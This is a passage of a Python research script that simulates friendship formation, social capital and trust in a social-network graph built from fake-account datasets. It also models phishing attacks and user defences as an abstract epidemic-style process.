dist_name except Exception: pass # plot the best fit curve for Legit class if drawing == True: if x2[-1] > 40: x2_list = np.arange(x2[-1]) elif x2[-1] > 5: x2_list = np.arange(0, x2[-1], 0.2) elif x2[-1] > 0.5: x2_list = np.arange(0, x2[-1], 0.05) else: x2_list = np.arange(0, x2[-1], 0.005) pdf_fitted2 = best_distribution2.pdf(x2_list, *best_params2[:-2], loc=best_params2[-2], scale=best_params2[-1]) * width # Draw histogram with density for Legit class plt.bar(x2[:-1], result2[0] / cnt2, width=width * 0.75, color='b', alpha=0.1, label='Legit Users') plt.plot(x2_list, pdf_fitted2, label='Legit: ' + best_name2, color='b', linestyle='--') if feature == 'between': plt.xlabel('Betweenness: FDS-' + method, fontsize=20) # plt.xscale('log') else: plt.xlabel('Social capital dimension: ' + feature, fontsize=20) plt.ylabel('Probability', fontsize=20) plt.tick_params(axis='both', labelsize=16) if dname == '1ks10kn' and feature == 'human': plt.legend(fontsize=18, loc='upper left', framealpha=0.3) else: plt.legend(fontsize=18) if dname == 'FakeLikers': plt.gcf().subplots_adjust(left=0.11) plt.gcf().subplots_adjust(top=1.0) plt.gcf().subplots_adjust(right=1.0) plt.savefig('resultliker/' + out + '/' + feature + '_' + method + '.png', dpi=300) if dname == 'Cresci15': plt.gcf().subplots_adjust(left=0.13) plt.gcf().subplots_adjust(top=0.98) plt.gcf().subplots_adjust(right=1.0) plt.savefig('resultcres/' + out + '/' + feature + '_' + method + '.png', dpi=300) if dname == 'INT': plt.gcf().subplots_adjust(left=0.11) plt.gcf().subplots_adjust(top=1.0) plt.gcf().subplots_adjust(right=1.0) plt.savefig('resultint/' + out + '/' + feature + '_' + method + '.png', dpi=300) elif dname == '1ks10kn': plt.gcf().subplots_adjust(left=0.13) plt.gcf().subplots_adjust(top=0.98) plt.gcf().subplots_adjust(right=1.0) plt.savefig('result1ks/' + out + '/' + feature + '_' + method + '.png', dpi=300) #else: plt.clf() return best_name1, best_distribution1, best_params1, best_name2, best_distribution2, best_params2 '''Return list of nodes need friends''' def friend_pending(G): pending = [] for (i, x) in G.nodes(data='full'): if x == False: pending.append(i) return pending '''Return Graph capital data to likers for plotting''' def capital_return(capital, G, feature='structural'): for i in G.nodes(): val = G.nodes[i][feature] capital.at[i, feature] = val '''Show how many nodes reached friends limit''' def friend_full(G): f = 0 for (i, x) in G.nodes(data='full'): if x == True: f = f + 1 return f / G.order() # find best fit probability density functions def fitting_post(data, dname, feature='friends', method='SC', binnum=20, out='20'): xmax = max(data[feature]) xmin = min(data[feature]) # Fake Class result1 = np.histogram(data.loc[data['label'] == "Fake", :][feature], bins=binnum, range=(xmin, xmax)) cnt1 = sum(data['label'] == "Fake") x1 = result1[1] y1 = data.loc[data['label'] == "Fake", :][feature] # Legit class result2 = np.histogram(data.loc[data['label'] == "Legit", :][feature], bins=binnum, range=(xmin, xmax)) cnt2 = sum(data['label'] == "Legit") x2 = result2[1] y2 = data.loc[data['label'] == "Legit", :][feature] # draw histogram with same height height = max(np.max(result1[0]) / cnt1, np.max(result2[0]) / cnt2) tmp = round(height * 10) / 10 if tmp < height: height = tmp + 0.1 else: height = tmp dist_names = ['alpha', 'anglit', 'arcsine', 'beta', 'betaprime', 'binom', 'bradford', 'burr', 'cauchy', 'chi', 'chi2', 'cosine', 'dgamma', 'dweibull', 'erlang', 'expon', 'exponnorm', 'exponweib', 'exponpow', 'f', 'fatiguelife', 'fisk', 'foldcauchy', 'foldnorm', 'genlogistic', 'genpareto', 'gennorm', 'genexpon', 'genextreme', 'gausshyper', 'gamma', 'gengamma', 'genhalflogistic', 'gilbrat', 'gompertz', 'gumbel_r', 'gumbel_l', 'halfcauchy', 'halfnorm', 'halfgennorm', 'hypsecant', 'invgamma', 'invgauss', 'halflogistic', 'invweibull', 'johnsonsb', 'johnsonsu', 'ksone', 'kstwobign', 'laplace', 'levy_l', # 'levy','levy_stable', 'logistic', 'loggamma', 'loglaplace', 'lognorm', 'lomax', 'maxwell', 'mielke', 'nakagami', 'ncx2', 'ncf', 'nct', 'norm', 'pareto', 'pearson3', 'powerlaw', 'powerlognorm', 'powernorm', 'rdist', 'reciprocal', 'rayleigh', 'rice', 'recipinvgauss', 'semicircular', 't', 'triang', 'truncexpon', 'truncnorm', 'tukeylambda', 'uniform', 'vonmises', 'vonmises_line', 'wald', 'weibull_min', 'weibull_max', 'wrapcauchy'] # 86 width = result1[1][1] - result1[1][0] # plt.figure(figsize=(7,5))### plt.bar(x1[:-1], result1[0] / cnt1, width=width * 0.75, color='r', alpha=0.1, label='Fake') # -----------without pmf plt.bar(x2[:-1], result2[0] / cnt2, width=width * 0.75, color='b', alpha=0.1, label='Legit') #plt.xlabel('Social capital dimension: ' + feature, fontsize=18) plt.xlabel(dname + ' Degrees: ', fontsize=18) plt.ylabel('Probability', fontsize=18) plt.legend(loc='upper right') #plt.title("Histogram of " + feature + " from method: " + method + " friend") if dname == 'FakeLikers': plt.savefig('resultliker/' + out + '/' + feature + '_' + method + '.png') elif dname == 'Cresci15': plt.savefig('resultcres/' + out + '/' + feature + '_' + method + '.png') elif dname == 'INT': plt.savefig('resultint/' + out + '/' + feature + '_' + method + '.png') elif dname == '1ks10kn': plt.savefig('result1ks/' + out + '/' + feature + '_' + method + '.png') plt.clf() # ----------- '''Adding likers data to Graph''' def node_attributes(likers, G, feature): for (i, x) in enumerate(likers[feature].values): if feature == 'friends': G.nodes[likers.index[i]][feature] = int(x) else: G.nodes[likers.index[i]][feature] = x '''Adding likers data to Graph''' def node_attributes_edges(likers, G, dname): for (i, x) in enumerate(likers['friends'].values): G.nodes[likers.index[i]]['edge_interaction'] = math.ceil(x / 80) '''Adding social capital data to Graph''' def node_attributes_sc(likers, G): for (i, x) in enumerate(likers['human'].values): G.nodes[likers.index[i]]['capital'] = G.nodes[likers.index[i]]['human'] \ + G.nodes[likers.index[i]]['cognitive'] + G.nodes[likers.index[i]]['relational'] '''Initialize graph nodes with attributes''' def initialization_graph(likers, capital, n, dname): G = nx.empty_graph(n) # Fill features from likers nx.set_node_attributes(G, 0, 'edges') nx.set_node_attributes(G, False, 'full') node_attributes(likers, G, 'friends') node_attributes(likers, G, 'label') node_attributes_edges(likers, G, dname) # Fill in static social capital node_attributes(capital, G, 'human') node_attributes(capital, G, 'cognitive') node_attributes(capital, G, 'relational') node_attributes_sc(capital, G) #capital # Dynamic SC nx.set_node_attributes(G, 0, 'STC') nx.set_node_attributes(G, 0, 'CC') nx.set_node_attributes(G, 0, 'RC') nx.set_node_attributes(G, 0, 'SC') # Behavioral seeds node_attributes(capital, G, 'feeding') node_attributes(capital, G, 'posting') node_attributes(capital, G, 'feedback') node_attributes(capital, G, 'inviting') # credibility judgement nx.set_node_attributes(G, 1, 'experience') #normal user node_attributes(capital, G, 'competence') #normal user node_attributes(capital, G, 'deception') #attacker+compromised user # trust nx.set_node_attributes(G, 0, 'trust') nx.set_node_attributes(G, 1, 'fmax') nx.set_node_attributes(G, 1, 'bmax') # Attack model nx.set_node_attributes(G, '', 'phish') nx.set_node_attributes(G, 0, 'compromise') print(G.nodes[0]) return G '''Adding an new edge''' def new_friend(G, u, v): G.add_edge(u, v, f=1, b=1) #initial feeding and feedback count # update friend count and full for i in [u, v]: G.nodes[i]['edges'] = G.nodes[i]['edges'] + 1 if G.nodes[i]['edges'] >= G.nodes[i]['friends']: G.nodes[i]['full'] = True '''Update social capital and structural capital''' def social_capital_update(G, i): stc, cc, rc, tu = 0, 0, 0, 0 neighbor_len = len(list(G.neighbors(i))) for j in list(G.neighbors(i)): #adding trust as weight trust = G.edges[i, j]['f'] / G.nodes[i]['fmax'] + G.edges[i, j]['b'] / G.nodes[i]['bmax'] stc = stc + G.nodes[j]['human'] * trust/2 cc = cc + G.nodes[j]['cognitive'] * trust/2 rc = rc + G.nodes[j]['relational'] * trust/2 G.nodes[i]['STC'] = stc / neighbor_len G.nodes[i]['CC'] = cc / neighbor_len G.nodes[i]['RC'] = rc / neighbor_len G.nodes[i]['SC'] = (G.nodes[i]['CC'] + G.nodes[i]['RC'] + G.nodes[i]['STC'])/ 3 '''Update social capital and structural capital''' def social_capital_trust_update(G, i): stc, cc, rc, tu = 0, 0, 0, 0 neighbor_len = len(list(G.neighbors(i))) for j in list(G.neighbors(i)): #adding trust as weight trust = G.edges[i, j]['f'] / G.nodes[i]['fmax'] + G.edges[i, j]['b'] / G.nodes[i]['bmax'] stc = stc + G.nodes[j]['human'] * trust/2 cc = cc + G.nodes[j]['cognitive'] * trust/2 rc = rc + G.nodes[j]['relational'] * trust/2 trustj = G.edges[i, j]['f'] / G.nodes[j]['fmax'] + G.edges[i, j]['b'] / G.nodes[j]['bmax'] tu = tu + trustj / 2 G.nodes[i]['STC'] = stc / neighbor_len G.nodes[i]['CC'] = cc / neighbor_len G.nodes[i]['RC'] = rc / neighbor_len G.nodes[i]['SC'] = (G.nodes[i]['CC'] + G.nodes[i]['RC'] + G.nodes[i]['STC'])/ 3 G.nodes[i]['trust'] = tu / neighbor_len '''Each user initial 5 friends''' def initial_friend_SC(G, feature, run, dname): rnd = int(1000*random.random()) print("initial SC seed:", rnd) random.seed(rnd) pending = friend_pending(G) random.shuffle(pending) full_nodes = set(G.nodes()) - set(pending) for i in range(5): for j in pending: if G.nodes[j]['edges'] / G.nodes[j]['friends'] > 0.4 or G.nodes[j]['edges'] > 6: #leave space for very small number of friends continue # find all possible k friend_j = list(G.neighbors(j)) list_k = pending[:] #deepcopy list_k.remove(j) list_k = list(set(list_k) - set(friend_j)) if len(list_k) == 0: G.nodes[j]['full'] = True continue # collect all k to node_list node_list0 = {} for k in list_k: if G.nodes[k]['full'] == False and G.nodes[k]['edges'] < 7: node_list0[k] = G.nodes[k][feature] if len(node_list0) == 0: G.nodes[j]['full'] = True continue node_list = {} for k in node_list0.keys(): node_list[k] = node_list0[k] if len(node_list) == 0: continue # rank node_list and pick top 1 node_list = {k: v for k, v in sorted(node_list.items(), key=lambda item: item[1])} flag = 0 ranked = list(node_list.keys()) # ascending #select top 1 value while flag == 0: if len(node_list) == 0 or G.nodes[j]['full'] == True: break ranked = list(node_list.keys()) # ascending f = ranked[-1] if G.nodes[f]['full'] == False and G.nodes[f]['edges'] < 7: new_friend(G, j, f) flag = 1 del node_list[f] # simulate positive interaction for j in list(G.nodes()): if G.nodes[j]['feeding'] >= random.random(): # if feeding, share to all friends for fb in list(G.neighbors(j)): #update feeding G.edges[j, fb]['f'] = G.edges[j, fb]['f'] + 1 if G.edges[j, fb]['f'] > G.nodes[j]['fmax']: G.nodes[j]['fmax'] = G.edges[j, fb]['f'] if G.edges[j, fb]['f'] > G.nodes[fb]['fmax']: G.nodes[fb]['fmax'] = G.edges[j, fb]['f'] if G.nodes[fb]['feedback'] >= random.random(): #updating feedback G.edges[j, fb]['b'] = G.edges[j, fb]['b'] + 1 if G.edges[j, fb]['b'] > G.nodes[j]['bmax']: G.nodes[j]['bmax'] = G.edges[j, fb]['b'] if G.edges[j, fb]['b'] > G.nodes[fb]['bmax']: G.nodes[fb]['bmax'] = G.edges[j, fb]['b'] pending = friend_pending(G) random.shuffle(pending) #after 5 times for i in list(G.nodes()): #update sc and trust values social_capital_trust_update(G, i) print(G.size()) return G '''Each user initial 5 friends''' def initial_friend_TR(G, run, dname): rnd = int(1000*random.random()) print("initial TR seed:", rnd) random.seed(rnd) pending = friend_pending(G) random.shuffle(pending) full_nodes = set(G.nodes()) - set(pending) for i in range(5): for j in pending: if G.nodes[j]['edges'] / G.nodes[j]['friends'] > 0.4 or G.nodes[j]['edges'] > 6: #leave space for very small number of friends continue # find all possible k friend_j = list(G.neighbors(j)) list_k = pending[:] #deepcopy list_k.remove(j) list_k = list(set(list_k) - set(friend_j)) if len(list_k) == 0: G.nodes[j]['full'] = True continue # collect all k to node_list node_list0 = {} for k in list_k: if G.nodes[k]['full'] == False: node_list0[k] = G.nodes[k]['feeding'] + G.nodes[k]['feedback'] if len(node_list0) == 0: G.nodes[j]['full'] = True continue node_list = {} for k in node_list0.keys(): node_list[k] = node_list0[k] if len(node_list) == 0: continue # rank node_list and pick top 1 node_list = {k: v for k, v in sorted(node_list.items(), key=lambda item: item[1])} flag = 0 ranked = list(node_list.keys()) # ascending #select top 1 value while flag == 0: if len(node_list) == 0 or G.nodes[j]['full'] == True: break ranked = list(node_list.keys()) # ascending f = ranked[-1] if G.nodes[f]['full'] == False: new_friend(G, j, f) flag = 1 del node_list[f] # simulate positive interaction for j in list(G.nodes()): if G.nodes[j]['feeding'] >= random.random(): # if feeding, share to all friends for fb in list(G.neighbors(j)): #update feeding G.edges[j, fb]['f'] = G.edges[j, fb]['f'] + 1 if G.edges[j, fb]['f'] > G.nodes[j]['fmax']: G.nodes[j]['fmax'] = G.edges[j, fb]['f'] if G.edges[j, fb]['f'] > G.nodes[fb]['fmax']: G.nodes[fb]['fmax'] = G.edges[j, fb]['f'] if G.nodes[fb]['feedback'] >= random.random(): #updating feedback G.edges[j, fb]['b'] = G.edges[j, fb]['b'] + 1 if G.edges[j, fb]['b'] > G.nodes[j]['bmax']: G.nodes[j]['bmax'] = G.edges[j, fb]['b'] if G.edges[j, fb]['b'] > G.nodes[fb]['bmax']: G.nodes[fb]['bmax'] = G.edges[j, fb]['b'] pending = friend_pending(G) random.shuffle(pending) #after 5 times for i in list(G.nodes()): #update sc and trust values social_capital_trust_update(G, i) print(G.size()) return G '''Each user initial 5 friends''' def initial_friend_SA(G, run, dname): rnd = int(1000*random.random()) print("initial SA seed:", rnd) random.seed(rnd) # adjacency matrix to save similarity size = max(G.nodes()) + 1 product_matrix = np.zeros((size, size)) for x in G.nodes(): dot_x = [G.nodes[x]['human'], G.nodes[x]['cognitive'], G.nodes[x]['relational']] for y in G.nodes(): if y > x: dot_y = [G.nodes[y]['human'], G.nodes[y]['cognitive'], G.nodes[y]['relational']] mut = np.dot(dot_x, dot_y) / np.linalg.norm(dot_x) / np.linalg.norm(dot_y) product_matrix[x][y] = mut pending = friend_pending(G) random.shuffle(pending) full_nodes = set(G.nodes()) - set(pending) for i in range(5): for j in pending: if G.nodes[j]['edges'] / G.nodes[j]['friends'] > 0.4 or G.nodes[j]['edges'] > 6: #leave space for very small number of friends continue # find all possible k friend_j = list(G.neighbors(j)) list_k = pending[:] #deepcopy list_k.remove(j) list_k = list(set(list_k) - set(friend_j)) if len(list_k) == 0: G.nodes[j]['full'] = True continue # collect all k to node_list node_list0 = {} for k in list_k: if G.nodes[k]['full'] == False: node_list0[k] = product_matrix[min(j, k)][max(j, k)] if len(node_list0) == 0: G.nodes[j]['full'] = True continue node_list = {} for k in node_list0.keys(): node_list[k] = node_list0[k] if len(node_list) == 0: continue # rank node_list and pick top 1 node_list = {k: v for k, v in sorted(node_list.items(), key=lambda item: item[1])} flag = 0 ranked = list(node_list.keys()) # ascending #select top 1 value while flag == 0: if len(node_list) == 0 or G.nodes[j]['full'] == True: break ranked = list(node_list.keys()) # ascending f = ranked[-1] if G.nodes[f]['full'] == False and G.nodes[j]['edges'] < 7: new_friend(G, j, f) flag = 1 del node_list[f] # simulate positive interaction for j in list(G.nodes()): if G.nodes[j]['feeding'] >= random.random(): # if feeding, share to all friends for fb in list(G.neighbors(j)): #update feeding G.edges[j, fb]['f'] = G.edges[j, fb]['f'] + 1 if G.edges[j, fb]['f'] > G.nodes[j]['fmax']: G.nodes[j]['fmax'] = G.edges[j, fb]['f'] if G.edges[j, fb]['f'] > G.nodes[fb]['fmax']: G.nodes[fb]['fmax'] = G.edges[j, fb]['f'] if G.nodes[fb]['feedback'] >= random.random(): #updating feedback G.edges[j, fb]['b'] = G.edges[j, fb]['b'] + 1 if G.edges[j, fb]['b'] > G.nodes[j]['bmax']: G.nodes[j]['bmax'] = G.edges[j, fb]['b'] if G.edges[j, fb]['b'] > G.nodes[fb]['bmax']: G.nodes[fb]['bmax'] = G.edges[j, fb]['b'] pending = friend_pending(G) random.shuffle(pending) #after 5 times for i in list(G.nodes()): #update sc and trust values social_capital_trust_update(G, i) print(G.size()) return G '''Each user initial 5 friends''' def initial_friend_TP(G, topics, run, dname): rnd = int(1000*random.random()) print("initial TP seed:", rnd) random.seed(rnd) # adjacency matrix to save similarity size = max(G.nodes()) + 1 product_matrix = np.zeros((size, size)) for x in G.nodes(): dot_x = topics.loc[x] for y in G.nodes(): if y > x: dot_y = topics.loc[y] mut = np.dot(dot_x, dot_y) / np.linalg.norm(dot_x) / np.linalg.norm(dot_y) product_matrix[x][y] = mut pending = friend_pending(G) random.shuffle(pending) full_nodes = set(G.nodes()) - set(pending) for i in range(5): for j in pending: if G.nodes[j]['edges'] / G.nodes[j]['friends'] > 0.4 or G.nodes[j]['edges'] > 6: #leave space for very small number of friends continue # find all possible k friend_j = list(G.neighbors(j)) list_k = pending[:] #deepcopy list_k.remove(j) list_k = list(set(list_k) - set(friend_j)) if len(list_k) == 0: G.nodes[j]['full'] = True continue # collect all k to node_list node_list0 = {} for k in list_k: if G.nodes[k]['full'] == False and G.nodes[j]['edges'] < 7: node_list0[k] = product_matrix[min(j, k)][max(j, k)] if len(node_list0) == 0: G.nodes[j]['full'] = True continue node_list = {} for k in node_list0.keys(): node_list[k] = node_list0[k] if len(node_list) == 0: continue # rank node_list and pick top 1 node_list = {k: v for k, v in sorted(node_list.items(), key=lambda item: item[1])} flag = 0 ranked = list(node_list.keys()) # ascending #select top 1 value while flag == 0: if len(node_list) == 0 or G.nodes[j]['full'] == True: break ranked = list(node_list.keys()) # ascending f = ranked[-1] if G.nodes[f]['full'] == False: new_friend(G, j, f) flag = 1 del node_list[f] # simulate positive interaction for j in list(G.nodes()): if G.nodes[j]['feeding'] >= random.random(): # if feeding, share to all friends for fb in list(G.neighbors(j)): #update feeding G.edges[j, fb]['f'] = G.edges[j, fb]['f'] + 1 if G.edges[j, fb]['f'] > G.nodes[j]['fmax']: G.nodes[j]['fmax'] = G.edges[j, fb]['f'] if G.edges[j, fb]['f'] > G.nodes[fb]['fmax']: G.nodes[fb]['fmax'] = G.edges[j, fb]['f'] if G.nodes[fb]['feedback'] >= random.random(): #updating feedback G.edges[j, fb]['b'] = G.edges[j, fb]['b'] + 1 if G.edges[j, fb]['b'] > G.nodes[j]['bmax']: G.nodes[j]['bmax'] = G.edges[j, fb]['b'] if G.edges[j, fb]['b'] > G.nodes[fb]['bmax']: G.nodes[fb]['bmax'] = G.edges[j, fb]['b'] pending = friend_pending(G) random.shuffle(pending) #after 5 times for i in list(G.nodes()): #update sc and trust values social_capital_trust_update(G, i) print(G.size()) return G '''Update capital data from G and plot probability distribution''' def post_process(G, capital, i, method, dname, out): # print stats print(method, 'Edges:', G.size()) print(method, 'Non-full nodes:', len([n for n, v in G.nodes(data=True) if v['full'] == False])) # print none full nodes print(method, 'Full ratio:', len([n for n, v in G.nodes(data=True) if v['full'] == True]) / G.order()) # Add social capital values to capital capital_return(capital, G, 'edges') capital_return(capital, G, 'STC') capital_return(capital, G, 'CC') capital_return(capital, G, 'RC') capital_return(capital, G, 'SC') print('# SC=0: ', sum(capital['SC'] == 0.0)) # # Draw probability distribution # if i == 0 and method == 'SC': # fitting_post(capital, dname, 'cognitive', method, 50, out) # fitting_post(capital, dname, 'relational', method, 50, out) # fitting_post(capital, dname, 'human', method, 50, out) # fitting_post(capital, dname, 'RH', method, 50, out) # fitting_post(capital, dname, 'RHC', method, 50, out) # fitting_post(capital, dname, 'edges', method, 50, out) # fitting_post(capital, dname, 'SC', method, 50, out) # fitting_post(capital, dname, 'STC', method, 50, out) # fitting_post(capital, dname, 'CC', method, 50, out) # fitting_post(capital, dname, 'RC', method, 50, out) # elif i == 0: # fitting_post(capital, dname, 'edges', method, 50, out) # fitting_post(capital, dname, 'SC', method, 50, out) # fitting_post(capital, dname, 'STC', method, 50, out) # fitting_post(capital, dname, 'CC', method, 50, out) # fitting_post(capital, dname, 'RC', method, 50, out) #print SC values for feature in ['STC', 'CC', 'RC', 'SC']: if dname == 'Cresci15': with open('resultcres/' + out + '/' + feature + '_' + method + '.txt', 'a') as f: f.write(str(G.nodes(data=feature)) + '\n') elif dname == '1ks10kn': with open('result1ks/' + out + '/' + feature + '_' + method + '.txt', 'a') as f: f.write(str(G.nodes(data=feature)) + '\n') return capital '''Defense for four social deception attacks''' def defense(G, atta, i, records, j): # j:attacker, i:target, f:friends start_time = time.time() #random.seed(j) random.seed(int(start_time)) G.nodes[i][atta] = 'E' flag = True # defense: detect and post to friends cred = math.exp(-G.nodes[j]['deception']/(G.nodes[i]['competence']*G.nodes[i]['experience'])) if cred >= random.random(): G.nodes[i][atta] = 'R' G.nodes[i]['experience'] = G.nodes[i]['experience'] + 1 records['sir'][i] = records['sir'][i] + 1 flag = False # post to friends if G.nodes[i]['posting'] >= random.random(): # small chance to post for f in list(G.neighbors(i)): # friends increase the experience of attackers if f and not isinstance(G.nodes[j][atta], int): G.nodes[f]['experience'] = G.nodes[f]['experience'] + 1 else: # defense: fail to detect and ask for friend if G.nodes[i]['posting'] >= random.random(): # small chance to post for f in list(G.neighbors(i)): # friend comment back to help detect if f and (G.nodes[f][atta] == 'S' or G.nodes[f][atta] == 'R') and G.nodes[f]['feedback'] >= random.random(): cred_f = math.exp(-G.nodes[j]['deception'] / (G.nodes[f]['competence'] * G.nodes[f]['experience'])) if cred_f >= random.random(): records['ir'][i] = records['ir'][i] + 1 G.nodes[i][atta] = 'R' G.nodes[i]['experience'] = G.nodes[i]['experience'] + 1 G.nodes[f]['experience'] = G.nodes[f]['experience'] + 1 flag = False break return flag '''Attack find the targets''' def interaction_ATTACK(G, likers, dname, atta, j, pas, records, i): start_time = time.time() rnd = int(i * 10) seed(rnd) # one-time attack-defense-update neighbors = list(G.neighbors(j)) f_list = [x for x, y in G.nodes(data=True) if (not isinstance(G.nodes[x][atta], int) and x in neighbors)] random.shuffle(f_list) victims = math.ceil(len(f_list) * pas) if len(f_list) == 0: return G elif atta == 'phish': # phishing: select at random targets = choice(f_list, victims, replace=False) # attack p_as percent friends if type(targets) is list or type(targets) is np.ndarray: count_i = 0 count_a = 0 for target in targets: if G.nodes[target][atta] == 'S' or G.nodes[target][atta] == 'E': count_a = count_a + 1 # defense: detect and post to friends/ fail to detect and ask for friend flag = defense(G, atta, target, records, j) records['i'][target] = records['i'][target] + 1 if flag == True: # Infected count_i = count_i + 1 G.edges[j, target]['f'] = G.edges[j, target]['f'] + 1 G.edges[j, target]['b'] = G.edges[j, target]['b'] + 1 else: #defense successful G.nodes[j][atta] = G.nodes[j][atta] + 1 #report the attacker if G.nodes[j]['label'] == True: G.remove_edge(j, target) #terminate friendship with compromised account else: G.edges[j, target]['f'] = G.edges[j, target]['f'] + 1 else: # R user can ignore the attack and report it G.nodes[j][atta] = G.nodes[j][atta] + 1 G.nodes[target]['experience'] = G.nodes[target]['experience'] + 1 else: # scalar print("ERROR") return G '''Update SIR for four attacks after one interaction time''' def sir_process_update(G, attack_sir, run, feat, i): adding = 100 snum = len([x for x, y in G.nodes(data=True) if y['phish'] == 'S']) enum = len([x for x, y in G.nodes(data=True) if y['phish'] == 'E']) inum = len([x for x, y in G.nodes(data=True) if (y['phish'] == 0 and y['label'] == 'Legit')]) rnum = len([x for x, y in G.nodes(data=True) if y['phish'] == 'R']) sir = snum + inum + rnum + enum attack_sir[(i-adding)*4] = snum / sir attack_sir[(i-adding)*4+1] = inum / sir attack_sir[(i-adding)*4+2] = rnum / sir attack_sir[(i - adding) * 4 + 3] = enum / sir '''Update SIR for four attacks after one interaction time''' def sir_state_change(records, attack_state, i): adding = 100 attack_state[(i-adding) * 4] = len([(x,y) for x,y in records['i'].items() if y>0]) attack_state[(i-adding) * 4 + 1] = len([x for x,y in records['sr'].items() if y>0]) attack_state[(i-adding) * 4 + 2] = len([x for x,y in records['ir'].items() if y>0]) attack_state[(i-adding) * 4 + 3] = len([x for x,y in records['sir'].items() if y>0]) '''Simulate time-series behaviors of users-- Social capital dimensions''' def interaction_SC(G, dname, likers, feature, p_as, run, attack_sir, attack_state, attack_report, feat): start_time = time.time() rnd = int(start_time) print("run seed:", rnd) random.seed(rnd) #recording attacks records = {} records['i'] = {no: 0 for no in G.nodes()} records['sr'] = {no: 0 for no in G.nodes()} records['ir'] = {no: 0 for no in G.nodes()} records['sir'] = {no: 0 for no in G.nodes()} invite = {no: 0 for no in G.nodes()} for _, y in G.nodes(data=True): attack = 'phish' if y['label'] == 'Legit': y[attack] = 'S' else: y[attack] = 0 size_prev = G.size() for i in range(105): size_invite = 0 if i < 100: # inviting friends only pending = friend_pending(G) random.shuffle(pending) full_nodes = set(G.nodes()) - set(pending) ### edge_cur = [0 for x in pending] #can change to attribute of G for j in pending: idx_j = pending.index(j) limit_j = G.nodes[j]['edge_interaction'] if G.nodes[j]['full'] == True: continue ### a = random.random() if G.nodes[j]['inviting'] >= a: size_invite = size_invite + 1 invite[j] = invite[j] + 1 # find all possible k friend_j = list(G.neighbors(j)) list_k = deepcopy(pending) list_k.remove(j) list_k = list(set(list_k) - set(friend_j)) if len(list_k) == 0: G.nodes[j]['full'] = True continue # collect all k to node_list node_list0 = {} for k in list_k: if G.nodes[k]['full'] == False: node_list0[k] = G.nodes[k][feature] if len(node_list0) == 0: G.nodes[j]['full'] = True continue node_list = {} for k in node_list0.keys(): if edge_cur[pending.index(k)] < G.nodes[k]['edge_interaction']: node_list[k] = node_list0[k] if len(node_list) == 0: continue # rank node_list and pick top 1 or 10/20 node_list = {k: v for k, v in sorted(node_list.items(), key=lambda item: item[1])} flag = 0 ranked = list(node_list.keys()) # ascending length = len(ranked) # #select top 1 value while edge_cur[idx_j] < limit_j or (edge_cur[idx_j] == limit_j and flag == 0): if len(node_list) == 0 or G.nodes[j]['full'] == True: break ranked = list(node_list.keys()) # ascending f = ranked[-1] if G.nodes[f]['label'] == 'Legit' and G.nodes[j][feature] < 1.0 * node_list[f]: del node_list[f] continue if edge_cur[pending.index(f)] < G.nodes[f]['edge_interaction'] and G.nodes[f]['full'] == False: new_friend(G, j, f) flag = 1 edge_cur[idx_j] = edge_cur[idx_j] + 1 edge_cur[pending.index(f)] = edge_cur[pending.index(f)] + 1 del node_list[f] size_prev = G.size() full_nodes_new = set(G.nodes()) - set(friend_pending(G)) full_nodes_iter = full_nodes_new - full_nodes # print(G.size()) if i < 80: # simulate positive interaction for j in list(G.nodes()): if G.nodes[j]['feeding'] >= random.random(): # if feeding, share to all friends for fb in list(G.neighbors(j)): # update feeding G.edges[j, fb]['f'] = G.edges[j, fb]['f'] + 1 if G.edges[j, fb]['f'] > G.nodes[j]['fmax']: G.nodes[j]['fmax'] = G.edges[j, fb]['f'] if G.edges[j, fb]['f'] > G.nodes[fb]['fmax']: G.nodes[fb]['fmax'] = G.edges[j, fb]['f'] if G.nodes[fb]['feedback'] >= random.random(): # updating feedback G.edges[j, fb]['b'] = G.edges[j, fb]['b'] + 1 if G.edges[j, fb]['b'] > G.nodes[j]['bmax']: G.nodes[j]['bmax'] = G.edges[j, fb]['b'] if G.edges[j, fb]['b'] > G.nodes[fb]['bmax']: G.nodes[fb]['bmax'] = G.edges[j, fb]['b'] # update sc values after each run for j in list(G.nodes()): social_capital_update(G, j) else: # attack and defense nodes = list(G.nodes()) random.shuffle(nodes) for j in nodes: if isinstance(G.nodes[j]['phish'], int): G = interaction_ATTACK(G, likers, dname, 'phish', j, p_as, records, i) # phishing # stats collection count = 0 # reported attackers for j in nodes: if G.nodes[j]['label'] == 'Fake' and G.nodes[j]['phish'] >= 3: count = count + 1 attack_report[i-100] = count sir_state_change(records, attack_state, i) # post-attack updates: attacker report for j in nodes: if isinstance(G.nodes[j]['phish'], int): #attackers # removed the reported attackers from the network/ compromised user back to S if G.nodes[j]['phish'] >= 3: if G.nodes[j]['label'] == True: # compromised account G.nodes[j]['phish'] = 'R' # change password G.nodes[j]['experience'] = G.nodes[j]['experience'] + 1 else: # remove the attacker nb = list(G.neighbors(j)) for k in nb: G.remove_edge(j, k) else: #normal users if G.nodes[j]['phish'] == 'E' and random.random() <= 0.2: #E to attacker I, compromised account G.nodes[j]['phish'] = 0 #20% chance to be compromised accounts sir_process_update(G, attack_sir, run, feat, i) #update S E I R # printing if i == 100: invite_times = {} invite_friends = {} for x in sorted(invite.keys()): if invite[x] > 0: invite_times[x] = invite[x] invite_friends[x] = G.nodes[x]['friends'] print(len(invite_times)) if (i + 1) % 20 == 0: print("%s edges at %d :%d" % (feature, i, G.size())) print((time.time() - start_time) / 60) sum = 0 diff = 0 fake_edges = {} fake_friends = {} for x in G.nodes(): if G.nodes[x]['label'] == 'Fake': diff = diff + abs(G.nodes[x]['friends'] - G.nodes[x]['edges']) sum = sum + G.nodes[x]['friends'] fake_edges[x] = G.nodes[x]['edges'] fake_friends[x] = G.nodes[x]['friends'] print("sum of fake friends:", sum) print("sumdiff of fake friends:", diff) return G '''Simulate time-series behaviors of users-- Topics similarity''' def interaction_TP(G, dname, likers, topics, p_as, run, attack_sir, attack_state, attack_report, feat): start_time = time.time() rnd = int(start_time) print("run seed:", rnd) random.seed(rnd) #recording attacks records = {} records['i'] = {no: 0 for no in G.nodes()} records['sr'] = {no: 0 for no in G.nodes()} records['ir'] = {no: 0 for no in G.nodes()} records['sir'] = {no: 0 for no in G.nodes()} invite = {no: 0 for no in G.nodes()} #random.seed(int(start_time)) for _, y in G.nodes(data=True): for attack in ['phish', 'falseinfo', 'profile', 'humanatt']: if y['label'] == 'Legit': y[attack] = 'S' else: y[attack] = 0 # adjacency matrix to save similarity size = max(G.nodes()) + 1 product_matrix = np.zeros((size, size)) for x in G.nodes(): dot_x = topics.loc[x] for y in G.nodes(): if y > x: dot_y = topics.loc[y] mut = np.dot(dot_x, dot_y) / np.linalg.norm(dot_x) / np.linalg.norm(dot_y) product_matrix[x][y] = mut 